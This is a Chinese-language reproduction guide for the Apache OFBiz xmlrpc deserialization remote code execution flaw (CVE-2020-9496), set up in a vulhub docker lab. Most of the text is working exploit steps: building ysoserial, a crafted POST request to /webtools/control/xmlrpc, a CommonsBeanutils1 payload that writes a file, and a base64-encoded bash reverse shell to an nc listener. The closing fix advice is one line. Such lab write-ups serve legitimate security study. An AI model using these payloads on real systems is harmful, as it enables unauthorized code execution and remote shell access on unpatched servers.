Apache Ofbiz xmlrpc RCE漏洞(CVE-2020-9496)復現
Apache Ofbiz xmlrpc RCE漏洞(CVE-2020-9496)復現
- |簡介
Apache OFBiz全稱是The ApacheOpen For Business Project,是開一個放的電子商務平臺,也是一個非常著名的開源專案
- |漏洞描述
Apache ofbiz存在反序列化漏洞,攻擊者可以通過未授權訪問介面,構造特定的xmlrpc http請求,造成遠端程式碼執行的影響
- |影響版本
Apache ofbiz: <17.12.04
- |搭建環境
(1)使用vulhub搭建環境,在有docker環境的虛擬機器中 //沒有的,先安裝docker環境(apt install docker-ce、docker-compose等)
git clone https://github.com/vulhub/vulhub.git
(2)拉取專案
進入漏洞目錄,使用docker-compose拉取環境,看到綠色done,說明成功
(3)在瀏覽器訪問搭建的環境頁面:https://ip:8443/myportal/control/login //注意是https
(4)安裝漏洞復現需求的環境
-
安裝java環境 https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html ,根據版本選擇下載的jdk
-
建立一個資料夾,把下載好的jdk解壓到資料夾中
mkdir /opt/java ==> tar xvzf jdk-8u301-linux-x64.tar.gz -C /opt/java //-C 解壓至指定資料夾中
-
配置java環境變數
vim /etc/profile 末尾加上
-
export JAVA_HOME=/opt/java/jdk1.8.0_301
-
export JRE_HOME=${JAVA_HOME}/jre
-
export CLASSPATH=.:\({JAVA_HOME}/lib:\){JRE_HOME}/lib
-
export PATH=\({JAVA_HOME}/bin:\)PATH
-
-
設定完成後,source /etc/profile,重新載入配置檔案
//每次重啟終端後,需要執行一遍,才能載入環境變數,嫌麻煩的可以在/.zshrc(或/.bashrc,看版本),加入環境變數(這樣就不需要每次都執行一遍了),如下:
java -version
ok~
-
安裝maven,使用wget下載mvn
wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
建立資料夾,解壓
mkdir /opt/maven ==> tar xvzf apache-maven-3.6.3-bin.tar.gz -C /opt/maven
配置環境變數
vim /etc/profile 在末尾加上
-
export MAVEN_HOME=/opt/maven/apache-maven-3.6.3
-
export PATH=\(MAVEN_HOME/bin:\)PATH
mvn -version
ok~
-
- |漏洞復現
(1)在gitHub上下載java反序列化利用工具ysoserial
git clone https://github.com/frohoff/ysoserial.git
(2)進入ysoserial目錄使用maven下載編譯需要得包,
mvn clean package -DskipTests
編譯成功,如下:
(3)可以看到ysoserial目錄裡面有一個target檔案,進入這個目錄,可以看到生成payload的工具
(4)在瀏覽器訪問 https://ip:8443/webtools/control/xmlrpc 這個頁面,並使用burp抓包,放置重放模組
頁面原始碼
放置重放模組:
(5)在資料包下方加上匯入xml
POST /webtools/control/xmlrpc HTTP/1.1
Host: 192.168.87.128:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=A7A75619C87A5FB8DD5A23C4CE6F77A8.jvm1; Hm_lvt_ade42d4f682c4fca28c5f093052433c1=1631008935,1631009219,1631013070,1631015778; OFBiz.Visitor=10000
Content-Length: 4208
tom
cat
[base64-payload]
(6)嘗試使用ysoserial的CommonsBeanutils1生成Payload並在tmp目錄寫入檔案
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "touch /tmp/Tokyo" | base64 | tr -d "\n"
或使用dnslog判斷漏洞是否存在
(7)複製生成的64位編碼的payload,並貼上到burp資料包[base64-payload]這個地方,點選Go傳送,到docker檢視是否成功寫入
(8)利用漏洞反彈shell,借用下面這個網站,對反彈shell的payload進行base64位編碼
http://www.jackson-t.ca/runtime-exec-payloads.html
(9)把編碼後的shell再用ysoserial工具進行一次base64編碼
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg3LjEyOC8zMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" | base64 | tr -d "\n"
(10)nc設定監聽,把生成的exp放入到burp的資料包中傳送,檢視nc監聽以返回shell
-
|修復建議
1、升級為最新版本